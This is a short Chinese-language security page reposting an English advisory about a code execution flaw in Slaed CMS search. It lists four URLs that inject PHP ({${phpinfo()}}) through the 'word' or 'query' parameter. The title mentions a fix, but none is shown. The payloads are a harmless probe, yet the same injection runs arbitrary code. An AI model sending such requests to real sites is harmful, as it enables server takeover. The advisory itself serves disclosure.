Slaed CMS代码执行缺陷及修复 - 网站安全 - 自学p

标题: Slaed CMS Code exec 

作者: brain[pillow] 

下载地址: http://slaed.net/

测试平台: OpenSlaed 1.2 (free), Slaed CMS <= 4.* 

  

On different versions of this software next vulnerabilities are availible: 

  

www.2cto.com /index.php?name=Search&mod=&word={${phpinfo()}}&query=ok&to=view 

/index.php?name=Search&mod=&word=ok&query={${phpinfo()}}&to=view 

  

OR: 

  

/search. html ?mod=&word={${phpinfo()}}&query=ok&to=view 

/search.html?mod=&word=ok&query={${phpinfo()}}&to=view

查看更多关于Slaed CMS代码执行缺陷及修复 - 网站安全 - 自学p的详细内容...